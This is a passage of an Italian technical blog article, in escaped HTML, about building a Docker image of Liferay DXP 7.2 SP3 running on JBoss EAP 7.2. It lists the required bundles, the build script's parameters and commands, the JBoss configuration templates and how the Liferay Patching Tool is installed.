3%201%205-1h1v2l1-1h9c2%201%205-1%204-3h-14l-3-1-4%201h-1c0-2-5-1-5%201M7%20158v12h387v-24H7v12m282-8c-2%201-1%204%201%204h8c3%201%204%200%205-1l1-2v3c2%200%202%200%201-1h1c4%202%2011%201%208-2-1-2-11-2-12%200h-1c-1-2-6-2-7%200h-1l-4-1m-1%2014c0%202%202%203%203%202h12c3%202%2013%200%2012-2s-12-2-13-1h-1l-3-1-4%201h-1c0-2-5-1-5%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/c85cb/customer-portal-redhat-jboss-download.webp 300w,/static/bf7355e88130c5058a2a8edfdec82d03/e88ff/customer-portal-redhat-jboss-download.webp 600w,/static/bf7355e88130c5058a2a8edfdec82d03/1bae5/customer-portal-redhat-jboss-download.webp 959w&quot; sizes=&quot;(max-width: 959px) 100vw, 959px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/5a46d/customer-portal-redhat-jboss-download.png 300w,/static/bf7355e88130c5058a2a8edfdec82d03/0a47e/customer-portal-redhat-jboss-download.png 600w,/static/bf7355e88130c5058a2a8edfdec82d03/d7abb/customer-portal-redhat-jboss-download.png 959w&quot; sizes=&quot;(max-width: 959px) 100vw, 959px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Red Hat Customer Portal da dove scaricare il file zip dell&amp;#x27;installazione e le eventuali patch&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/d7abb/customer-portal-redhat-jboss-download.png&quot; title=&quot;Figura 5 - Red Hat Customer Portal da dove scaricare il file zip dell&amp;#x27;installazione e le eventuali patch&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Red Hat Customer Portal da dove scaricare il file zip dell&amp;#x27;installazione e le eventuali patch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Per questo articolo, la versione di riferimento di Liferay è la DXP 7.2 SP 3 e
quella di RedHat JBoss è la 7.2. La tabella a seguire mostra nel dettaglio
l&amp;#x27;elenco delle dipendenze richieste (e non quelle opzionali indicate nella
precedente lista).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Nome artefatto&lt;/th&gt;&lt;th&gt;Nome file&lt;/th&gt;&lt;th&gt;Versione&lt;/th&gt;&lt;th&gt;Sorgente&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Liferay DXP WAR&lt;/td&gt;&lt;td&gt;liferay-dxp-7.2.10.3-sp3-202009100727.war&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Liferay DXP Dependencies&lt;/td&gt;&lt;td&gt;liferay-dxp-dependencies-7.2.10.3-sp3-202009100727.zip&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Liferay DXP OSGi Dependencies&lt;/td&gt;&lt;td&gt;liferay-dxp-osgi-7.2.10.3-sp3-202009100727.zip&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Liferay Patching Tool&lt;/td&gt;&lt;td&gt;patching-tool-2.0.15.zip&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RedHat JBoss EAP&lt;/td&gt;&lt;td&gt;jboss-eap-7.2.0.zip&lt;/td&gt;&lt;td&gt;7.2.0 GA&lt;/td&gt;&lt;td&gt;RedHat Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Tabella 1 - Lista dei bundle che devono essere scaricati prima d&amp;#x27;iniziare la procedura di creazione immagine&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;5-come-creare-limmagine&quot;&gt;5. Come creare l&amp;#x27;immagine&lt;/h2&gt;&lt;p&gt;Per creare l&amp;#x27;immagine Docker è necessario installare l&amp;#x27;estensione del progetto
&lt;a href=&quot;https://github.com/smclab/liferay-docker&quot;&gt;liferay-docker&lt;/a&gt; sulla macchina dedicata
al processo di build. È inoltre essenziale aver eseguito il download dei bundle
indicati in Tabella 1.&lt;/p&gt;&lt;p&gt;I passi basilari per procedere con la creazione dell&amp;#x27;immagine sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;installazione dell&amp;#x27;estensione del progetto liferay-docker;&lt;/li&gt;&lt;li&gt;preparazione della directory che conterrà i bundle di Tabella 1;&lt;/li&gt;&lt;li&gt;esecuzione dello script build_local_image.sh.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Lo script &lt;strong&gt;build_local_image.sh&lt;/strong&gt; che avvia il processo di creazione dell&amp;#x27;immagine
Docker Liferay + JBoss EAP, deve essere eseguito specificando i seguenti parametri:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;il path relativo che contiene i bundle di Tabella 1;&lt;/li&gt;&lt;li&gt;il nome dell&amp;#x27;immagine/repository Docker;&lt;/li&gt;&lt;li&gt;il nome del tag da assegnare all&amp;#x27;immagine;&lt;/li&gt;&lt;li&gt;flag che indica se fare il push dell&amp;#x27;immagine sul repository Docker (no-push | push);&lt;/li&gt;&lt;li&gt;nome dell&amp;#x27;application server, il cui valore in questo caso è jboss-eap.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Eseguendo lo script senza fornire alcun parametro, saranno mostrate le modalità
d&amp;#x27;utilizzo del comando (vedi figura a seguire). Ricordo che lo script resta valido
per eseguire la creazione d&amp;#x27;immagini Liferay basate sul bundle Apache Tomcat di
Liferay.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1184px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/7321b/usage-build-local-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:27.333333333333332%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;109\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20109\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2055v54h401V0H297a3434%203434%200%2000-104%203v3c-2%202-4%202-19%202h-18l1-4-1-3-1%203c2%204%205%204-77%204H2V4L1%200%200%2055m262-11h-20c-2%201-2%201%200%201%201%200%202%200%201%201l2%201%203-2h1c0%202%206%203%207%202h4l3-2h1c0%202%205%202%205%200h1l2%202v-4h-8c-2-1-2-1-2%201m16-1l-1%202c0%201%201%202%207%202l7-1h5c0%202%202%201%201%200l1-2%201%201c-1%202%209%202%2011%201h8c1%202%206%201%207-2%200-2%200-2-11-1a2640%202640%200%2001-36%200m-16%2017h-19l-2%201h2l1%201c-1%201%200%201%201%201l3-1h1c1%202%2013%202%2014%200h1c0%201%205%201%205-1h1l1%202c2%200%202-3%201-4h-8c-2-1-2-1-2%201m37-1l-1%201c-4%200-6%200-5%201l1%201h24l4%201c3%200%203%200%203-2s-1-3-9-3l-11%201h-6m-48%2017h-1l-5-1-5%201h-1l-1-1-2%201h-1c-1-2-3-1-3%202%201%202%204%202%205%200h1c1%202%2013%202%2014%200h1c0%202%205%201%205-1l1%201c1%203%202%203%202-1l-1-2h-7c-2-1-2-1-2%201m23-1c-1%202%200%204%201%203h2c1%202%204%202%205%200h2c1%202%202%202%203%201h2c1%201%201%201%202-1l1-2%201%202v1l1-1%202-2v1c-1%202%201%203%203%202h7c6%201%208%200%208-2l-4-2h-6c-2%202-4%202-5%200h-25M84%2093c0%202%201%203%204%203h4l-45%201H2v8h25c23%200%2024%200%2024-2l1-3%201%202-1%203h51c46%200%2052%200%2052-2v-2l1-2%201%203-1%203h14l14-1h-1l-3-1h-3c-2-2%200-4%202-2h2l3-1c2%200%203%201%203%202h-1c-1-1-1-1-1%201%200%203%206%203%208%200%202-2%202-2%200-4-3-2-3-2-32-2l-30-1h2c2%200%202%200%202-2s-1-2-7-2c-6-1-7%200-7%201s-1%201-1-1l-2-1v2c-1%203-5%202-6%200-1-4-2-4-2%200l2%203c2%201-1%201-8%201l-10-1-1-1-2-2c0-2-1-3-3%200h-2l-1-3-1%203m167-1c0%202%200%202-1%201-1-2-9-2-10-1h-2c-1-1-1-1-2%201h-1l-1-2-1%203c0%202%203%202%204%200h1c0%201%201%202%203%202h8c2%200%203-1%203-2h1c1%202%204%202%205%201%200-2%200-2%201%200%202%201%202%201%202-1%200-3-1-3-4-2l-5-1c-1-1-1-1-1%201m23-1v4h1c0-2%202-3%202-1%201%202%205%202%205%200h2c2%202%202%202%203%201%202-1%202-1%202%201l2-1c1-4%202-4%202-1l-1%203%202-3%202-2v1c-1%202%200%203%202%203v-1c0-1%201-2%202-1l3%201%203%201h7c2-2%205-2%205-1h8c1%201%201%201%202-1s1-2-1-2h-14c-1-1-5%200-6%201s-1%200-1-1c0-2%200-2-2-1-2%202-5%202-5%200-1-1-7-1-8%201h-13l-2-1h-2\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/c85cb/usage-build-local-image.webp 300w,/static/8963e9e9ca08e15dae7726bda7bb82f1/e88ff/usage-build-local-image.webp 600w,/static/8963e9e9ca08e15dae7726bda7bb82f1/2754d/usage-build-local-image.webp 1184w&quot; sizes=&quot;(max-width: 1184px) 100vw, 1184px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/5a46d/usage-build-local-image.png 300w,/static/8963e9e9ca08e15dae7726bda7bb82f1/0a47e/usage-build-local-image.png 600w,/static/8963e9e9ca08e15dae7726bda7bb82f1/7321b/usage-build-local-image.png 1184w&quot; sizes=&quot;(max-width: 1184px) 100vw, 1184px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Modalità d&amp;#x27;uso dello script per il build delle immagini locali&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/7321b/usage-build-local-image.png&quot; title=&quot;Figura 6 - Modalità d&amp;#x27;uso dello script per il build delle immagini locali&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Modalità d&amp;#x27;uso dello script per il build delle immagini locali&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La Console 2 mostra la sequenza dei comandi necessari per portare a termine con
successo la creazione dell&amp;#x27;immagine Docker di Liferay installato su JBoss EAP.
Il processo di creazione dell&amp;#x27;immagine potrebbe richiedere diversi minuti (tra
6 e 8 minuti su CPU: i7 decima generazione 1 Socket 2 Core, RAM: 16GB, Storage SSD).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 1. Unzip dell&amp;#x27;estensione del progetto liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ unzip ~/Downloads/liferay-docker-1.0.0.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 2. Preparazione della directory che conterrà i bundle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker-1.0.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 3. Esecuzione del processo di build dell&amp;#x27;immagine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp3 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Comandi per la creazione dell&amp;#x27;immagine Docker di Liferay installato su JBoss EAP&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Al termine dell&amp;#x27;esecuzione dello script build_local_image.sh, utilizzando il
comando &lt;code&gt;docker images&lt;/code&gt; è possibile verificare la nuova immagine appena creata
(vedi figura a seguire).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/daf70/liferay-dxp-7.2.10-sp-3-docker-images.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:15%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;60\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2060\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2030v30h200a17238%2017238%200%2000148-1l-53-1c-3-4%201-6%2011-6%205%200%207%200%206-1-4-1-2-3%203-3%204%200%206%202%202%203-1%201%205%201%2012%201l14-1v-3l1-1%201%203v2l1-4h6c5%200%205%200%205%202s10%203%2032%203h11v3l1-26V0h-30l14%201h15v6h-52c-45%200-52%200-53-2-1-1-1-1%201-3%201-2%201-2-147-2H0v30m0%201l1%2029%2084-1c72%200%2083%200%2084-2v-2c-1-2-11-2-77-2H17v-3l-1-2-1%203c0%202%200%202-7%202-6%200-7%200-6-1l3-1h4l1%201c2-2%200-4-5-4l-4%201V38h11l5-1c0-2-2-3-2-1H2c-1%201-1-1-1-5v-6h11l5-1c0-2-2-3-2-1H2c-1%201-1%200-1-1%200-3%202-4%208-3v-1c0-2-1-2-4-2-4%201-4%200-4-2l1-2%202-1h1c0%203%202%202%202%200%200-3%200-3-3-3H1l150-1c18%200%2021-1%2017-4-1-2-5-2-85-2H0v30\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/c85cb/liferay-dxp-7.2.10-sp-3-docker-images.webp 300w,/static/c2deb698ea20e7354bc214e2e0fe9b79/e88ff/liferay-dxp-7.2.10-sp-3-docker-images.webp 600w,/static/c2deb698ea20e7354bc214e2e0fe9b79/92f8c/liferay-dxp-7.2.10-sp-3-docker-images.webp 1200w,/static/c2deb698ea20e7354bc214e2e0fe9b79/62ed8/liferay-dxp-7.2.10-sp-3-docker-images.webp 1800w,/static/c2deb698ea20e7354bc214e2e0fe9b79/46261/liferay-dxp-7.2.10-sp-3-docker-images.webp 2400w,/static/c2deb698ea20e7354bc214e2e0fe9b79/41fb3/liferay-dxp-7.2.10-sp-3-docker-images.webp 2464w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/5a46d/liferay-dxp-7.2.10-sp-3-docker-images.png 300w,/static/c2deb698ea20e7354bc214e2e0fe9b79/0a47e/liferay-dxp-7.2.10-sp-3-docker-images.png 600w,/static/c2deb698ea20e7354bc214e2e0fe9b79/c1b63/liferay-dxp-7.2.10-sp-3-docker-images.png 1200w,/static/c2deb698ea20e7354bc214e2e0fe9b79/d61c2/liferay-dxp-7.2.10-sp-3-docker-images.png 1800w,/static/c2deb698ea20e7354bc214e2e0fe9b79/97a96/liferay-dxp-7.2.10-sp-3-docker-images.png 2400w,/static/c2deb698ea20e7354bc214e2e0fe9b79/daf70/liferay-dxp-7.2.10-sp-3-docker-images.png 2464w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Verifica della nuova immagine Docker Liferay DXP + JBoss EAP&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/c1b63/liferay-dxp-7.2.10-sp-3-docker-images.png&quot; title=&quot;Figura 7 - Verifica della nuova immagine Docker Liferay DXP + JBoss EAP&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Verifica della nuova immagine Docker Liferay DXP + JBoss EAP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Com&amp;#x27;è possibile notare da quanto mostrato in figura, sono stati creati due tag
che rispecchiano il pattern indicato in 1.1. Tags che puntano alla medesima immagine
(vedi image id). L&amp;#x27;immagine Docker così creata è pronta per essere utilizzata.&lt;/p&gt;&lt;h3 id=&quot;51-template-di-configurazione-jboss-eap&quot;&gt;5.1. Template di configurazione JBoss EAP&lt;/h3&gt;&lt;p&gt;JBoss EAP, sui cui è stato installato Liferay, ha ricevuto la configurazione
base definita sul documento &lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/installing-liferay/installing-liferay-on-an-application-server/installing-on-jboss-eap.html&quot;&gt;Installing on JBoss EAP&lt;/a&gt;.
I file di configurazione base di JBoss EAP sono disponibili all&amp;#x27;interno della
directory &lt;strong&gt;$PROJECT_DIR/template/jboss-eap&lt;/strong&gt;, così come mostrato nella figura
a seguire.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1118px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/0f246/configuration-template-jboss.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;150\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20150\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2075v75h401V0H0v75M2%206v4h100c100%200%20101%200%20103-2%201-2%201-2-1-5l-2-2H2v5m261-2l-1%204-10%201c-8%200-9%200-7-1l1-3-15-1v3l6%201h6l-7%201%2029%201a449%20449%200%200035-3c2-2%200-3-7-3l-8%202-1-1c1-1%200-1-5-1l-9-1c-3-1-3-1-3%203l-1%203c-3%201-3%200-2-3l1-3c-1-1-1%200-2%201M2%20143v4h100c99%200%20101%200%20103-2v-4c-2-2-4-2-103-2H2v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/c85cb/configuration-template-jboss.webp 300w,/static/fdc89ec3e19295f7b5745e92036b9614/e88ff/configuration-template-jboss.webp 600w,/static/fdc89ec3e19295f7b5745e92036b9614/34186/configuration-template-jboss.webp 1118w&quot; sizes=&quot;(max-width: 1118px) 100vw, 1118px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/5a46d/configuration-template-jboss.png 300w,/static/fdc89ec3e19295f7b5745e92036b9614/0a47e/configuration-template-jboss.png 600w,/static/fdc89ec3e19295f7b5745e92036b9614/0f246/configuration-template-jboss.png 1118w&quot; sizes=&quot;(max-width: 1118px) 100vw, 1118px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Struttura della directory template per i file di configurazione di JBoss EAP 7.2.0&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/0f246/configuration-template-jboss.png&quot; title=&quot;Figura 8 - Struttura della directory template per i file di configurazione di JBoss EAP 7.2.0&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Struttura della directory template per i file di configurazione di JBoss EAP 7.2.0&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La configurazione di base di JBoss EAP può essere eventualmente modificata secondo
le proprie esigenze, così facendo già in fase di creazione dell&amp;#x27;immagine è
possibile applicare personalizzazioni alla configurazione base.&lt;/p&gt;&lt;p&gt;È consigliato applicare le personalizzazioni alla configurazione di JBoss EAP
tramite la configurazione del container (vedi 1.3. Evironment Variables e
1.4. File System).&lt;/p&gt;&lt;h3 id=&quot;52-installazione-patching-tool&quot;&gt;5.2. Installazione Patching Tool&lt;/h3&gt;&lt;p&gt;Nel caso in cui si voglia installare il Patching Tool di Liferay sull&amp;#x27;immagine
da creare, basta scaricare dal Customer Portal di Liferay l&amp;#x27;ultima versione del
Patching Tool (per esempio: patching-tool-2.0.15.zip), e posizionare il file zip
all&amp;#x27;interno della directory contenente il resto dei bundle indicati in Tabella 1.&lt;/p&gt;&lt;p&gt;In fase di creazione dell&amp;#x27;immagine, se il Patching Tool è presente, questo sarà
installato all&amp;#x27;interno della cosiddetta &lt;strong&gt;LIFERAY_HOME&lt;/strong&gt; (vedi figura a seguire).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6aaa60cf093090a6502edacfa62a711b/cb1ac/view-installation-directory-patching-tool.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;106\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20106\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2053v53h401V0H0v53m0%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6aaa60cf093090a6502edacfa62a711b/c85cb/view-installation-directory-patching-tool.webp 300w,/static/6aaa60cf093090a6502edacfa62a711b/e88ff/view-installation-directory-patching-tool.webp 600w,/static/6aaa60cf093090a6502edacfa62a711b/92f8c/view-installation-directory-patching-tool.webp 1200w,/static/6aaa60cf093090a6502edacfa62a711b/62ed8/view-installation-directory-patching-tool.webp 1800w,/static/6aaa60cf093090a6502edacfa62a711b/cb61f/view-installation-directory-patching-tool.webp 1936w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6aaa60cf093090a6502edacfa62a711b/5a46d/view-installation-directory-patching-tool.png 300w,/static/6aaa60cf093090a6502edacfa62a711b/0a47e/view-installation-directory-patching-tool.png 600w,/static/6aaa60cf093090a6502edacfa62a711b/c1b63/view-installation-directory-patching-tool.png 1200w,/static/6aaa60cf093090a6502edacfa62a711b/d61c2/view-installation-directory-patching-tool.png 1800w,/static/6aaa60cf093090a6502edacfa62a711b/cb1ac/view-installation-directory-patching-tool.png 1936w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Evidenza del Patching Tool installato in fase di creazione dell&amp;#x27;immagine&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6aaa60cf093090a6502edacfa62a711b/c1b63/view-installation-directory-patching-tool.png&quot; title=&quot;Figura 9 - Evidenza del Patching Tool installato in fase di creazione dell&amp;#x27;immagine&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Evidenza del Patching Tool installato in fase di creazione dell&amp;#x27;immagine&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Durante l&amp;#x27;installazione del Patching Tool è eseguita l&amp;#x27;operazione di
&lt;strong&gt;auto-discovery&lt;/strong&gt; che come conseguenza creerà il file &lt;strong&gt;default.properties&lt;/strong&gt; all&amp;#x27;interno
della home directory del Patching Tool.&lt;/p&gt;&lt;p&gt;Per maggiori informazioni riguardo l&amp;#x27;installazione e l&amp;#x27;uso di questo strumento,
fare riferimento al documento ufficiale di Liferay che si chiama
&lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/maintaining-a-liferay-dxp-installation/patching-liferay/installing-the-patching-tool.html&quot;&gt;Installing the Patching Tool&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nota&lt;/strong&gt;: In fase di creazione di una nuova immagine è consigliato partire sempre
dall&amp;#x27;ultima versione disponibile dei bundle Liferay. L&amp;#x27;installazione del
Patching Tool è essenziale per la creazione di un&amp;#x27;immagine a cui applicare le
